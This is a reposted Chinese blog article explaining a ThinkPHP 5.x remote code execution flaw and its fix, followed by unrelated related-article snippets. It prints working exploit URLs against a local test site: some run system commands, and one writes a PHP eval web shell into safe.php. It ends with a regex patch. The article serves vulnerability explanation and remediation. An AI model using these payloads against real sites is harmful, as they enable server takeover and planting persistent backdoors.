网站漏洞怎么修复对于thinkphp的漏洞修复

news/2024/5/15 14:36:27/文章来源:https://blog.csdn.net/weixin_33858336/article/details/92418753

2019独角兽企业重金招聘Python工程师标准>>> hot3.png

THINKPHP漏洞修复,官方于近日,对现有的thinkphp5.0到5.1所有版本进行了升级,以及补丁更新,这次更新主要是进行了一些漏洞修复,最严重的就是之前存在的SQL注入漏洞,以及远程代码执行查询系统的漏洞都进行了修复,官方本以为没有问题了,但是在实际的安全检测当中发现,还是存在问题,还是可以远程代码进行注入,插入非法字符,提交到服务器后端中去。

97647b0553fe44328eb87f00af0d206a.jpeg

关于这次发现的oday漏洞,我们来看下官方之前更新的代码文件是怎么样的,更新的程序文件路径是library文件夹下的think目录里的app.php,如下图:

3f81bd04332c4ce7a53b22d1144d427f.png

漏洞产生的原因就在于这个控制器这里,整个thinkphp框架里的功能对控制器没有进行严格的安全过滤于检查,使攻击者可以伪造恶意参数进行强制插入,最根本的原因就是正则的表达式写的不好,导致可以绕过。

在controller获取控制器后,直接进行赋值,但是并没有对控制器的名进行严格的检测,导致可以使用斜杠等特殊符号来远程代码注入。

我们来搭建一下网站的环境,apache+mysql+Linux centos系统,搭建好的测试环境地址是http://127.0.01/anquan ,我们可以直接在index.php后面伪造攻击参数,示例如下:

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

直接get方式提交到网站中去,可以直接查询到网站当前根目录的所有文件,截图如下:

e56dbce81b9e4d8095dbc214f604ac0f.png

通过该漏洞也可以直接远程代码注入执行phpinfo语句,查询当前的php版本,路径,扩展,以及php.ini存放的地址,都可以看得到,构造如下代码即可。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

224d53d8a0f34a5795eb3e094e6f3266.png

有些人可能会问了,既然都可以phpinfo,查询目录文件,可不可以getshell写网站木马文件到网站里呢? 答案是可以的,我们测试的时候是以一句话木马代码的写入到safe.php文件里。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_GET["cmd"]);?>%27%20>%20safe.php

关于这次thinkphp的漏洞利用以及分析到此就结束了,该漏洞属于高危漏洞,危害严重性较大,很多升级更新补丁的网站都会受到攻击,甚至有些网站会被挂马,那么该如何修复thinkphp的漏洞呢?替换之前的正规则表达式即可,还需要对网站的目录进行权限部署,防止生成php文件,对网站上的漏洞进行修复,或者是对网站安全防护参数进行重新设置,使他符合当时的网站环境。如果不懂如何修复网站漏洞,也可以找专业的网站安全公司来处理,国内如Sinesafe和绿盟、启明星辰等安全公司比较专业.

针对于这个情况,我们要对其library/think/App.php代码里的正规则表达式进行更改,if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }

转载于:https://my.oschina.net/u/3887295/blog/2987337

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_745472.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

英文SEO采集伪原创软件Kontent Machine注册使用实战教程!

做跨境电商的童鞋们&#xff0c;总会遇到这样的问题&#xff1a;我们英文很差或者一般&#xff0c;无法写出精彩的原创英文文章进行SEO推广。这确实是很难的&#xff0c;即使许多商务英语过硬的都难以写出高质量英文原创文章&#xff0c;因为你不熟悉他们的生活环境&#xff0c…

大型网站技术架构(六)网站的伸缩性架构

2019独角兽企业重金招聘Python工程师标准>>> 网站系统的伸缩性架构最重要的技术手段就是使用服务器集群功能&#xff0c;通过不断地向集群中添加服务器来增强整个集群的处理能力。“伸”即网站的规模和服务器的规模总是在不断扩大。 1、网站架构的伸缩性设计 网站的…

使用hexo + github搭建个人博客网站

做一个积极的人编码、改bug、提升自己我有一个乐园&#xff0c;面向编程&#xff0c;春暖花开&#xff01;搭建个人 博客&#xff0c;手把手教程&#xff0c;&#xff0c;感谢长风破&#xff01; 一个在技术路上努力的勇者&#xff01;我搭建的博客地址&#xff1a;http://www.…

32个设计非常精美的国外网站作品范例(上篇)

让网站的设计能够吸引用户的眼球是每一个专业网页设计师的梦想。为了让网站更具吸引力&#xff0c;设计师们在设计之前需要在头脑中规划好排版、字体的选择、插图以及配色方案等等。因此&#xff0c;要设计出一个精美的网站对于设计师们来说是件非常有挑战的事情。今天这篇文章…

大型网站技术架构(六)网站的伸缩性架构

2019独角兽企业重金招聘Python工程师标准>>> 网站系统的伸缩性架构最重要的技术手段就是使用服务器集群功能&#xff0c;通过不断地向集群中添加服务器来增强整个集群的处理能力。“伸”即网站的规模和服务器的规模总是在不断扩大。 1、网站架构的伸缩性设计 网站的…

如何在网页上显示其他网站的数据_这里有一份HTML的超全教程,自学建网站不再是梦...

在互联网高速发展的今天&#xff0c;我们通过浏览器可以看到各种各样的网站&#xff0c;包含了各式不同的领域还有内容&#xff0c;通过点击网站上的标签和栏目我们就能够很方便地看到网站上显示的各种数据&#xff0c;而这些都是建立在HTML这种标记语言的基础上做到的。HTML的…

浏览器打开出现证书错误_IE提示已阻止此网站显示有安全证书错误的内容

问&#xff1a;访问邮箱、支付宝等网站时&#xff0c;IE提示已阻止此网站显示有安全证书错误的内容&#xff0c;无法继续操作&#xff0c;怎么办&#xff1f;答&#xff1a;推荐使用以下三步法排查、解决该问题&#xff01;第一步&#xff1a;看一下你的系统时间是否正确。看清…

百度分享代码_wordpress商城网站添加分享按钮方法

前面好一佳说到了wordpress商城网站设置网站客服方法&#xff0c;你是不是已经学到了&#xff0c;简单的吧。一个网站如果做得好了&#xff0c;客户喜欢了&#xff0c;是不是就很想把这个网站分享给自己的朋友&#xff0c;这个时候分享按钮就显得格外的重要了&#xff0c;如果一…

python中series怎么重建索引_搜索引擎优化中网站的分类和标签怎么设置 - 公司动态...

在搜索引擎优化&#xff0c;大型的网站中我经常会看到有着乱七八糟分类和标签。为内容增加分类和标签是分类系统中典型的方法&#xff0c;如果使用得当&#xff0c;将会增强搜索引擎优化。但如果使用不当&#xff0c;可能会影响体验&#xff0c;甚至排名。下面和搜索引擎优化小…

九天自助建站系统_尝试使用自助建站系统做网站

找程序员开发网站不是建站唯一方法&#xff0c;做网站也可以选择用“自助建站系统”&#xff0c;实现在没技术能力情况下&#xff0c;独立开发制作出一个网站&#xff0c;下面就来体验看下自助建站系统如何做网站&#xff01;这里我们拿“建站宝盒”自助建站系统为案例&#xf…

百度刷相关wf5搜_微信搜一搜SEO是什么?新媒体运营一定知道,帮你自动增粉!...

微信搜一搜大家应该都知道&#xff0c;一般用户会搜查热门话题文章、相关朋友圈、找找视频表情包啥的&#xff0c;一般的新媒体小编就会搜搜同行有哪些新文章&#xff0c;找找问答之类的&#xff0c;(新媒体运营注意了)这个时候就会粉丝悄悄的关注我们公众号&#xff0c;进入小…

qt 显示加速_Cloudflare 入门教程:使用 Cloudflare 免费 CDN 加速 amp; 保护自己的网站...

前言之前也发布过 Cloudflare 系列教程&#xff0c;但是时间久了&#xff0c;界面和操作有些变化&#xff0c;对于新手在操作时可能有点摸不着头脑。本文定位为「小白向的 Cloudflare 入门配置教程」&#xff0c;主要讲下 Cloudflare CDN 的使用方法。详细介绍下如何在 Cloudfl…

把百度网站设为首页_企业网站关键词怎么优化上百度首页?提升排名技巧有哪些?...

随着移动互联网的发展&#xff0c;特别是当小伙伴们已习惯了通过网络平台寻找自己想要的东西&#xff0c;所以&#xff0c;企业的发展目标不得不转移阵地&#xff0c;这样才可以在众多网站中脱颖而出&#xff0c;站稳脚跟。然而&#xff0c;现在的小伙伴们通过关键词搜索查找资…

酷站设计:学习扁平化网站设计的12个优秀案例

扁平化设计对于印刷品设计、网页设计和移动操作系统的设计来都带去了新的变化。扁平化网页设计是指设计形式摒弃图案纹理背景&#xff0c;阴影文字以及网站盒模型的部分。 谷歌是第一个使用扁平化设计准备对重构 Web 应用程序的公司&#xff0c;现在越来越多的公司正在效仿。这…

Java开发牛人十大必备网站

英文原文&#xff1a; Top 10 Websites for Advanced Level Java Developers 以下是我收集的 Java 开发牛人必备的网站。这些网站可以提供信息&#xff0c;以及一些很棒的讲座&#xff0c; 还能解答一般问题、面试问题等。质量是衡量一个网站的关键因素&#xff0c;我个人认为…

扫描特定网站(页)的更新链接(附完整源码下载)

闲暇时间经常登录小说网站和论坛&#xff08;比如啃书&#xff09;&#xff0c;翻看自己感兴趣的连载小说。时常会碰到以下问题&#xff1a; 1、要打开网页花时间查找自己感兴趣的链接&#xff0c;耗时又无聊啊 2、某天比较忙或出差较长一段时间&#xff0c;没空去浏览或保存自…

淘宝商城,亚洲最大网上购物网站

淘宝商城&#xff0c;亚洲最大网上购物网站——淘宝网打造的在线B2C购物平台&#xff08;B2C&#xff0c;Business to Customer&#xff09;。在淘宝商城购物&#xff0c;享受100%正品保障、7天退换货、提供发票的服务。 Q1>按照要求申请入驻商城一定可以成功吗&#xff1f;…

如何真正提高ASP.NET网站的性能《转载》

文章出处 前言 怎么才能让asp.net网站飞得更快&#xff0c;有更好的性能&#xff1f;——这是很多开发者常常思考的一个问题。我有时候会做大量的测试&#xff0c;或请求别人帮忙采集一些数据&#xff0c;希望能够验证网上一些专家的建议或证明自己的一些猜想。 理论上讲&#…

【记录】网站打不开,提示118错误,网络连接失败的问题

今天早上来&#xff0c;我的好几个小站都打不开了&#xff0c;都提示118错误&#xff0c;网络连接失败不知道怎么办呢&#xff1f; 一开始是用ping了一下&#xff0c;发现是网络连接问题&#xff0c;有的地区ping不出来&#xff0c;最后又出现了502提示。 1、开始118连接错误&a…

datalist获取id传到下一个页面_linux下部署tomcat网站

linux配置、部署tomcat网站总流程本流程使用securecrt8.1进行远程服务器连接&#xff0c;secureCRT使用细节本文不做讲解&#xff0c;有兴趣的朋友可以上网搜索相关教程。注&#xff1a; xxx用于描述本人自定义名称&#xff0c;不是固定字符。Linux系统&#xff1a;centos6.4Jd…